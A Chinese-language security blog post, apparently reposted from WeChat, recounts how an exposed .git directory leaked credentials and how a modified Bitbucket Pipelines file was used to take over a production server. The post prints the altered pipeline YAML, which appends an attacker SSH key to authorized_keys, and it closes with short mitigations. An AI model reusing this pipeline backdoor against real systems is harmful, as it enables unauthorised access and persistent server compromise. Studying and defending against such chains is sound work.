介绍
在当今快速发展和持续集成的世界中,安全漏洞很容易被忽视。最近,我发现了一个严重的漏洞链,它从一个公开的.git
目录开始,导致了整个服务器的接管。这篇博客将介绍整个事件链,概述每个弱点如何加剧了这个问题。
.git 目录的公开暴露
令人惊讶的是,许多网站仍将其.git
目录公开。在扫描目标上的此类暴露时,我注意到该.git
文件夹是可公开访问的。这是一个严重的漏洞,因为它.git
存储了项目的整个版本历史记录,包括配置文件,其中可能包含敏感信息。
影响:通过访问.git/config
,我找到了凭证,这为进一步的利用打开了大门。我可以使用配置文件中的 URL 克隆整个存储库。
探索 Bitbucket Pipelines 的存储库和发现
使用找到的凭据克隆存储库后,我开始探索存储库的内容。在此过程中,我发现代码所有者使用 Bitbucket Pipelines 进行部署。
Bitbucket Pipelines 允许您在有人与您的存储库交互(推送代码、提出问题、打开 PR 等)时自动运行代码。在本例中,管道设置为登录到生产服务器,cd
进入保存源代码的文件夹,然后运行git pull
,这将更新正在运行的应用程序的源代码。示例管道如下所示:
pipelines:
branches:
master:
- step:
name: Update deployment
script:
- pipe: atlassian/ssh-run:0.2.8
variables:
SSH_USER: 'ubuntu'
MODE: 'command'
SERVER: 'damn.vulnerable.site'
COMMAND: 'cd /path/to/app && git pull'
主要发现:管道配置文件显示,作为自动部署过程的一部分,SSH 正被用于登录生产服务器。
将恶意更改推送至管道
我修改了管道配置,将我的 SSH 密钥添加到生产服务器的authorized_keys
文件中。通过更改管道配置,我确保下次运行管道时,我的密钥将被添加到允许登录服务器的授权 SSH 密钥中。以下是我修改后的管道文件的样子:
pipelines:
branches:
master:
- step:
name: Pushed to Master
script:
- pipe: atlassian/ssh-run:0.2.8
variables:
SSH_USER: 'ubuntu'
MODE: 'command'
SERVER: 'damn.vulnerable.site'
COMMAND: 'mkdir -p /home/ubuntu/.ssh && echo ssh-rsa AAAA...snip...sw== >> /home/ubuntu/.ssh/authorized_keys && chmod 700 /home/ubuntu/.ssh && chmod 600 /home/ubuntu/.ssh/authorized_keys && cd /path/to/app && git pull'
SSH 访问和服务器接管
提交更改并将其推送回存储库后,我只需等待管道运行即可。几分钟后,我尝试登录服务器,它很乐意授予我 shell 访问权限。从这里开始,服务器实际上已被攻陷,我完全控制了它。
最后一步:我登录到服务器,确认 SSH 访问正常,并且能够执行任何命令。
对于那些目光敏锐的人来说,还存在一个可立即提升权限的漏洞,执行该漏洞即可获得 root 访问权限。
缓解策略
监控您的 SSH 密钥。定期检查谁有权访问您的生产服务器,并删除任何不必要或过时的密钥。
切勿公开您的.git
目录。使用服务器配置来阻止对此目录的访问。
结论
此漏洞链凸显了敏感目录公开暴露和 CI/CD 管道处理不当所带来的风险。它提醒开发人员和系统管理员定期审核其代码存储库、部署管道和服务器配置,以防止此类攻击。
原文始发于微信公众号(独眼情报):研究人员破解 CI/CD 管道,实现服务器接管
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论